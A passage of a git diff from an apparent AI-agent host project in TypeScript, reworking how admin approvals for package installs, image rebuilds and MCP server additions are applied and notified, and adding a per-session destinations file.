+ * Handle an admin's response to an approval card.
+ * Fire-and-forget model: the agent doesn't poll for this — we write a chat
+ * notification to its session DB, and optionally kill the container so the
+ * next wake picks up new config/images.
+ */
async function handleApprovalResponse(
approval: import('./types.js').PendingApproval,
selectedOption: string,
@@ -189,52 +194,69 @@ async function handleApprovalResponse(
return;
}
- if (selectedOption === 'Approve') {
- const payload = JSON.parse(approval.payload);
-
- if (approval.action === 'install_packages') {
- const agentGroup = getAgentGroup(session.agent_group_id);
- const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
- if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
- if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
- if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
-
- updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
-
- writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
- message: 'Packages approved. Run request_rebuild to apply.',
- approved: { apt: payload.apt, npm: payload.npm },
- });
-
- log.info('Package install approved', { approvalId: approval.approval_id, userId });
- } else if (approval.action === 'request_rebuild') {
- try {
- await buildAgentGroupImage(session.agent_group_id);
- writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
- message: 'Container image rebuilt. Changes will take effect on next container start.',
- });
- log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
- } catch (e) {
- writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
- error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`,
- });
- log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
- }
- }
- } else {
- // Rejected
- writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
- error: `Request rejected by admin (${userId})`,
+ const notify = (text: string): void => {
+ writeSessionMessage(session.agent_group_id, session.id, {
+ id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
+ kind: 'chat',
+ timestamp: new Date().toISOString(),
+ platformId: session.agent_group_id,
+ channelType: 'agent',
+ threadId: null,
+ content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
+ };
+
+ if (selectedOption !== 'Approve') {
+ notify(`Your ${approval.action} request was rejected by admin.`);
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
+ deletePendingApproval(approval.approval_id);
+ await wakeContainer(session);
+ return;
+ }
+
+ const payload = JSON.parse(approval.payload);
+
+ if (approval.action === 'install_packages') {
+ const agentGroup = getAgentGroup(session.agent_group_id);
+ const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
+ if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
+ if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
+ if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
+ updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
+
+ const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
+ notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`);
+ log.info('Package install approved', { approvalId: approval.approval_id, userId });
+ } else if (approval.action === 'request_rebuild') {
+ try {
+ await buildAgentGroupImage(session.agent_group_id);
+ // Kill the container so the next wake uses the new image
+ killContainer(session.id, 'rebuild applied');
+ notify('Container image rebuilt. Your container will restart with the new image on the next message.');
+ log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
+ } catch (e) {
+ notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
+ log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
+ }
+ } else if (approval.action === 'add_mcp_server') {
+ const agentGroup = getAgentGroup(session.agent_group_id);
+ const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
+ if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
+ containerConfig.mcpServers[payload.name] = {
+ command: payload.command,
+ args: payload.args || [],
+ env: payload.env || {},
+ };
+ updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
+
+ // Kill the container so next wake loads the new MCP server config
+ killContainer(session.id, 'mcp server added');
+ notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
+ log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
}
deletePendingApproval(approval.approval_id);
-
- // Wake container so the agent's polling MCP tool picks up the response
- if (session) {
- await wakeContainer(session);
- }
+ await wakeContainer(session);
}
/** Graceful shutdown. */
diff --git a/src/session-manager.ts b/src/session-manager.ts
index 804c38dfd..1bd61be0d 100644
--- a/src/session-manager.ts
+++ b/src/session-manager.ts
@@ -11,6 +11,9 @@ import fs from 'fs';
import path from 'path';
import { DATA_DIR } from './config.js';
+import { getAgentGroup } from './db/agent-groups.js';
+import { getDestinations } from './db/agent-destinations.js';
+import { getMessagingGroup } from './db/messaging-groups.js';
import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js';
import { log } from './log.js';
import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js';
@@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void
}
}
+/**
+ * Write the destination map file into the session folder.
+ * Called before every container wake so admin changes take effect on next start.
+ * The container loads this at startup to know what destinations exist.
+ */
+export function writeDestinationsFile(agentGroupId: string, sessionId: string): void {
+ const dir = sessionDir(agentGroupId, sessionId);
+ if (!fs.existsSync(dir)) return;
+
+ const rows = getDestinations(agentGroupId);
+ const destinations: Array> = [];
+
+ for (const row of rows) {
+ if (row.target_type === 'channel') {
+ const mg = getMessagingGroup(row.target_id);
+ if (!mg) continue;
+ destinations.push({
+ name: row.local_name,
+ displayName: mg.name ?? row.local_name,
+ type: 'channel',
+ channelType: mg.channel_type,
+ platformId: mg.platform_id,
+ });
+ } else if (row.target_type === 'agent') {
+ const ag = getAgentGroup(row.target_id);
+ if (!ag) continue;
+ destinations.push({
+ name: row.local_name,
+ displayName: ag.name,
+ type: 'agent',
+ agentGroupId: ag.id,
+ });
+ }
+ }
+
+ const filePath = path.join(dir, '.nanoclaw-destinations.json');
+ fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2));
+ log.debug('Destination map written', { sessionId, count: destinations.length });
+}
+
/** Write a message to a session's inbound DB (messages_in). Host-only. */
export function writeSessionMessage(
agentGroupId: string,
diff --git a/src/types.ts b/src/types.ts
index 0d6983dfc..ba374c818 100644
--- a/src/types.ts
+++ b/src/types.ts
@@ -99,3 +99,13 @@ export interface PendingApproval {
payload: string; // JSON
created_at: string;
}
+
+// ── Agent destinations (central DB) ──
+
+export interface AgentDestination {
+ agent_group_id: string;
+ local_name: string;
+ target_type: 'channel' | 'agent';
+ target_id: string;
+ created_at: string;
+}